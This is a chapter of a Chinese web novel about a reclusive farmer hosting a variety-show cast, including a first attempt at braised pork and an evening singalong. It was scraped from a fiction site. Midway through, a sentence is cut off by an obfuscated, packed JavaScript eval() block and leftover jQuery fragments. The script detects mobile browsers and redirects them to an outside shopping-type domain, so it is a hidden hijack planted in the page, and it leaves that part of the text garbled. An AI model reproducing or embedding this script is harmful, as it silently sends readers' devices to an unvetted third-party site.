文趣网 > 都市小说 > 八百岁精灵只想种田 > 16. 第一次
    车停在院门口。

    后门打开,先下来一只白球鞋,然后是牛仔裤、白色T恤、墨镜,最后露出一张巴掌大的脸——没化妆,嘴唇有点干,头发随便扎了个丸子头。

    "宋可!"方驰第一个认出来,嘴比脑子快,"你不是——"

    "嘘——"宋可把墨镜往下扒了一点,冲他使了个眼色,"我经纪人说要保密到最后一秒。"

    "导演都在对讲机里报你名字了。"

    "那我不管,我墨镜都戴了。"

    方驰转头跟众人解释:"我们前年一起录过一档节目,她那时候就这德行。"

    "什么叫这德行?"宋可拍了他一巴掌,把墨镜摘了环顾院子。目光扫过石磨、槐树、灶屋、菜地,最后落在陆清槐身上。

    "你就是那个种地的?"

    "嗯。"

    "方驰私信跟我说你做的菜好吃到他想常住。"

    方驰在后面疯狂摇头,用口型说"我没有"。

    陆清槐看了方驰一眼:"他昨天把火搭塌了三回。"

    "我听见了!"方驰抗议。

    宋可笑了,露出一颗小虎牙。她把行李箱往地上一放,冲院里鞠了一躬:"大家好,我是宋可,来蹭饭的。"

    "别站着了,"周建国迎上去拎箱子,"先吃口早饭,馒头刚出锅。"

    宋可吃饭的时候把半个馒头掰成四块泡进鱼汤里,吃得头也不抬。沈眉给她夹了块鱼肚子,她嚼了两口,眼睛亮了。

    "这鱼鲜的,是溪里的?"

    "今早捞的。"陆清槐说。

    "你捞的?"

    "嗯。"

    "那红烧肉也是你做?"

    "没做过,第一次。"

    宋可筷子停了一下,看了看他的脸色,确认他不是在谦虚。

    "第一次就给客人做?"

    "你点的。"

    她愣了一下,然后笑到趴在桌上:"行,那我等着。"

    日头爬到槐树顶的时候,灶屋开工了。

    陆清槐把五花肉放在案板上,方方正正一块,皮上还有毛。他拔了两根,拔不干净,找了个镊子夹。陶陶搬了小板凳坐在灶屋门口看,像蹲守春晚现场。

    他掏出手机搜了一下"红烧肉家常做法",点进第一条视频。一个穿围裙的大哥在灶台前忙活,语速飞快:"五花肉切两厘米见方,冷水下锅加料酒姜片焯水,撇沫捞出。锅里少许油,加冰糖小火炒糖色——注意啊,大泡转小泡、颜色枣红就下肉,晚了发苦——"

    他把手机靠在酱油瓶旁边,开始切肉。

    "清槐哥哥,要我帮忙吗?"陶陶问。

    "帮我看着火,别让方驰碰。"

    "我听见了!"方驰从院墙上探出头——他正在摘黄瓜,"我今天不碰火!我负责摘菜!"

    "你黄瓜摘成什么样了?"

    "……有点弯。"

    "弯的也行,藤别扯了。"

    肉切好,冷水下锅焯。水开后撇掉浮沫,捞出来沥干。他往锅里倒了点油,放冰糖,小火慢慢搅。糖从颗粒变成液体,从透明变成浅黄——他低头看了一眼手机,再抬头时颜色已经深了。

    "坏了。"

    糖色发黑,冒着青烟,一股焦苦味。他赶紧把锅端离火口,盯着那块焦黑的糖看了两秒。

    "怎么了?"沈眉正在旁边择菜,探过头。

    "炒过了。"

    "倒了重来?"

    "嗯。"

    他把锅洗了,重新倒油放糖。这次眼睛没离开锅,冰糖化开,浅黄,金黄——他拿着手机比对了一下屏幕上的颜色——枣红。下肉。

    "哗啦"一声,糖色裹上肉块,滋滋作响,整块整块的五花肉在锅里翻成琥珀色。

    "好香——"陶陶吸了吸鼻子。

    "别凑过来,油溅。"他加了姜片、八角、桂皮,倒酱油和料酒,加热水没过肉,盖上锅盖。"大火烧开转小火,炖四十分钟。"

    "你怎么记得住?"陶陶瞪大眼。

    "视频里说了。"

    "你不是看了一遍吗?"

    "第一遍炒苦了,记住了。"

    他转身看沈眉:"糖醋排骨你做?"

    "我哪会,"沈眉笑了,"你前天不是看了教程吗?教我。"

    他把手机递给她:"糖醋排骨那条,步骤都一样,焯水、炒糖色、放醋放酱油、收汁。你刚才看我炒糖色了吧?"

    "看了。"

    "醋最后放,放早了挥发。"

    "行。"沈眉接过手机,又问,"那鱼呢?"

    "溪鱼小,红烧吧,周老师早上已经杀好了。"

    "不是清蒸鲈鱼吗?"陶陶小声问。

    "没有鲈鱼,"陆清槐把三条小鱼翻了个面,"溪鱼红烧也好吃。"

    炖肉的功夫,宋可在院子里转悠。

    她蹲在菜地边上看陶陶的菠菜——芽已经直起来了,嫩绿地竖着两片小叶子。沈眉的小白菜整整齐齐一排,江苓的稀稀拉拉但也出了,方驰的萝卜地还是光秃秃。

    "这谁的地?"宋可指着方驰那块。

    "我的,"方驰端着黄瓜过来,"萝卜还在睡懒觉。"

    "你沟画得跟心电图似的,它找不着路。"陆清槐从灶屋探出头。

    宋可笑出声:"方驰说你话很少啊。"

    "他昨天坐溪里的时候话也不少。"

    方驰:"……能不能让这页翻篇?"

    井边,周建国正在收拾鱼。三条小鱼排成一排,他刮鳞剖肚一气呵成。宋可靠过去看,退了两步站在上风处——上回方驰站顺风处溅了一脸鱼鳞。

    "周老师您还会收拾鱼?"

    "年轻时插过队,什么没干过。"周建国头也不抬,"溪鱼刺多,红烧比清蒸强,小陆说得对。"

    四十分钟后,灶屋。

    陆清槐揭开锅盖,热气扑了一脸。他拿筷子戳了一块肉——皮软了,但不够烂。盖上盖,又炖了十分钟。

    再揭盖,汤汁收了一半,肉块红亮油润,颤巍巍的。他拿了个干净小勺舀了点汤汁尝了尝,眉头动了一下。

    "怎么了?"沈眉在旁边做糖醋排骨,凑过来。

    "甜了。"

    "糖放多了?"

    "冰糖炒色放了一把,后面又加了勺糖。"他想了想,加了小半勺盐,挤了几滴酱油,搅了搅。换了个勺再尝,"行了。"

    红烧肉盛进粗瓷碗。肉皮深红,肥肉颤而不腻,汤汁浓稠得挂在肉上。沈眉的糖醋排骨也出锅了,色泽差了点,但闻着对味。周建国把三条小鱼红烧了,撒了葱花,整条整条码在盘子里。

    灶屋门口不知道什么时候围了一圈人。

    "让一让让一让,"周建国端着鱼往石磨走,"都别堵着门。"

    菜上齐了。红烧肉、红烧溪鱼、糖醋排骨、清炒野菜、凉拌黄瓜、水萝卜蘸酱、馒头。

    宋可盯着红烧肉看了三秒,夹了一块。

    肉皮在筷子上晃。她咬下去,皮肉分离,肥的部分入口即化,瘦的不柴,酱汁咸甜刚好,带一点八角的香气。她嚼了两下,没说话,又夹了一块。

    "怎么样?"方驰比她还紧张。

    "……我后悔了。"宋可说。

    "啊?"

    "我应该只点红烧肉的。"她扒了口米饭,"这样就能一个人吃一碗。"

    方驰抢了一块,嚼完瞪大眼睛:"房东哥你不是第一次做吗?"

    "嗯。"

    "第一次做成这样你让别人怎么活?"

    "教程说得细,照着做就行。"

    "那我照教程做为什么火搭了三回?"

    "你搭火的时间比看教程长。"

    全桌笑了。方驰张了张嘴,发现自己居然无法反驳。

    周建国夹了块鱼,又夹了块肉,嚼完慢条斯理地说:"小陆你这手艺,开个饭馆子准火。"

    "不开。"

    "为什么?"

    "种菜够忙了。"

    宋可一边吃一边刷手机,忽然"咦"了一声:"你微博是不是叫陆清槐?"

    "嗯。"

    "我刷到你了。'菜。种了。'我还以为是行为艺术。"

    "就是种了菜。"

    "你粉丝三千多了,"她划了两下屏幕,"评论区都在问你什么时候发第二条。"

    陆清槐想了想,掏出手机对着石磨上的菜拍了张照片,低头打字。

    方驰伸脖子看:"你发什么?"

    他把手机屏幕转向众人。

    照片上红烧肉占了C位,旁边露出半截红烧鱼和一只抢镜的手——方驰的。配文四个字:

    "肉。炖了。"

    宋可差点把饭喷出来。

    "你这个格式是要连载吗?"她笑到拍桌子,"下一条是不是'鱼。烧了。'?"

    "可以。"

    他低头又打了一行,还真发了第二条:

    "鱼。烧了。"

    方驰当场笑到从石磨上滑下去。

    吃完饭,宋可主动要求洗碗。江苓陪她一起,两个人在灶屋叮叮当当地洗,宋可忽然问:"江苓姐,他一直这样吗?"

    "哪样?"

    "就是……什么都会,又什么都不当回事。"

    江苓想了想:"他不是不当回事,他是真觉得没什么。种菜、抓鱼、做饭,在他眼里跟呼吸一样。"

    "他到底什么来头?"

    "不知道,"江苓擦着碗,"没人知道。问他他就说'住山里的'。"

    宋可往院子里看了一眼。陆清槐正在帮沈眉收拾石磨,方驰在旁边递碗,递着递着自己拿了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916296|213330||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    块馒头啃。

    "他长得不像种菜的。"

    "他就是种菜的。"

    下午,宋可提了个要求:"我能去菜地里看看吗?"

    "行,"陆清槐正在绑番茄蔓,"别踩陶陶的菠菜。"

    "我像那种踩菜地的人吗?"

    "方驰第一天踩了三棵。"

    她蹲在番茄架旁边看他绑蔓。他用稻草茎把番茄藤松松地系在竹竿上,动作不快但准,每根茎都留出了生长的空间。

    "为什么要绑?"

    "藤挂不住果,不绑会断。"

    "这个我知道,"宋可说,"我问的是——你为什么每根茎留的松紧不一样?"

    他手停了一下,看了她一眼。

    "粗的茎长得快,留松一点;细的慢,扎紧些。"

    "这都能看出来?"

    "摸一下就知道了。"

    宋可伸手摸了摸番茄茎,又摸了摸另一根,什么都没摸出来。她沉默了两秒,换了个话题:"沈眉姐说你会弹吉他?"

    "会一点。"

    "晚上一起唱个歌?我带了首新歌来,还没公开过。"她顿了一下,"对了苏导,这首歌能剪进正片吧?我经纪人说让我多拍点花絮。"

    "唱你的,"苏晚的声音从监视器后面飘过来,"版权没问题就能用。"

    "没问题,我自己的歌。"

    陆清槐把最后一根蔓绑好,拍了拍手上的草屑。

    "行,晚上唱。"

    傍晚,院子里亮了灯。

    沈眉把吉他抱出来,宋可调了调音,试了两个和弦。方驰不知道从哪摸出个口琴——"我带的!大学时候玩过!"——周建国搬了把竹椅坐边上,陶陶抱着橘座,江苓端了五杯茶。陈伯下午溜达过来送了一把葱,看见一院子人,放下葱说了句"番茄该打侧芽了"就走了。

    橘座在陶陶怀里打了个哈欠,伸了个懒腰,跳到陆清槐腿上趴下了。

    "新歌叫什么?"沈眉问。

    "《山那边》,"宋可有点不好意思,"写的就是来这种地方的感觉。"

    她拨了第一个和弦。

    旋律很简单,民谣底子,吉他分解和弦像水一样流。她的声音比唱片里更厚一点,带一点沙沙的质感,唱到副歌的时候方驰的口琴试着加进来——跟歪了,宋可笑到唱不下去。

    "方驰你别吹了,"周建国说,"你一吹来风了。"

    "我这叫即兴!"

    "你这叫添乱。"

    一首唱完,院子安静了两秒。

    "好听。"陶陶第一个鼓掌,橘座被她吓得从陆清槐腿上跳走了。

    "副歌那段转调有点意思。"陆清槐忽然说。

    宋可愣了:"你懂编曲?"

    "不懂。和弦换了,听起来比前面亮。"

    "……你耳朵也太灵了,我副歌从C调转G调,大部分人听不出来。"

    "他上次听出我吉他五弦差不到半个音。"沈眉说。

    宋可看了他一眼,没再追问,把吉他递过去:"你来一首?"

    他接过吉他,想了想,拨了几个和弦——不是精灵曲,是一首他在手机上听了两遍的民谣,C调,简单。他弹得不算熟,有两个和弦切换慢了半拍,但音色干净,节奏稳。

    弹到一半,方驰的口琴又试着跟进来,这回居然跟上了几个小节,然后又跑了。宋可笑到趴在吉他上。

    人散了以后,院子里安静下来。

    陆清槐坐在槐树下,手机屏幕亮着。他没刷微博,打开了吉他教学视频——昨天看了两分钟就退出来了,今天接着看。视频里老师在讲F和弦的切换技巧,他跟着在膝盖上按了按,指尖找位置。

    宋可从客房出来倒水,看见他一个人坐在黑里,手机光照在脸上。

    "还没睡?"

    "看会儿。"

    "看什么?"

    "吉他。"

    她走过去看了一眼屏幕:"F大横按?这个新手杀手,我当初卡了三个月。"

    "今天试了一下,能响。"

    "一次就响?"

    "嗯。"

    宋可沉默了三秒。"你真是……"她找了半天词,最后说,"挺气人的。"

    他没听懂这是夸还是损,抬头看了她一眼。月光从槐树叶子缝里漏下来,在他脸上切出明暗。她移开目光,端起水杯。

    "明天我教你弹《山那边》的和弦吧,不难。"

    "行。"

    "说定了。"

    她回屋了。陆清槐低头继续看视频,看了五分钟按了暂停。他低头看了看自己的指尖——红印比昨天深了点,但不疼了。

    明天再练。

    墙头上,橘座蹲着,尾巴一甩一甩,盯着菜地的方向。陶陶的菠菜地里,有什么东西在月光下悄悄往上长。